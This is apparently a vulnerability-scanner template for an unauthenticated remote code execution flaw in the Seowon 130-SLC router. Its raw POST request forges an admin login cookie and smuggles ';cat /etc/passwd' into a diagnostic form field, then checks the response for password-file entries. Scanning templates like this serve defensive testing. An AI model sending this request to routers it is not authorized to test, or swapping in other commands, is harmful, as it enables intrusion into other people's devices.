seowon-router-rce: Seowon 130-SLC router - Remote Code Execution

id: seowon-router-rce

info:
  name: Seowon 130-SLC router - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    Seowon 130-SLC router lets remote attackers execute commands without authentication as admin users via the router ip & Port(if available) in the request.
  reference:
    - https://www.exploit-db.com/exploits/50295
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: unauth,iot,edb,rce,seowon,router,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/diagnostic.html?t=201701020919
        Cookie: product=cpe; cpe_buildTime=201701020919; vendor=mobinnet; connType=lte; cpe_multiPdnEnable=1; cpe_lang=en; cpe_voip=0; cpe_cwmpc=1; cpe_snmp=1; filesharing=0; cpe_switchEnable=0; cpe_IPv6Enable=0; cpe_foc=0; cpe_vpn=1; cpe_httpsEnable=0; cpe_internetMTUEnable=0; cpe_opmode=lte; sessionTime=1631653385102; cpe_login=admin

        Command=Diagnostic&traceMode=trace&reportIpOnly=0&pingPktSize=56&pingTimeout=30&pingCount=4&ipAddr=&maxTTLCnt=30&queriesCnt=;cat /etc/passwd&reportIpOnlyCheckbox=on&btnApply=Apply&T=1631653402928

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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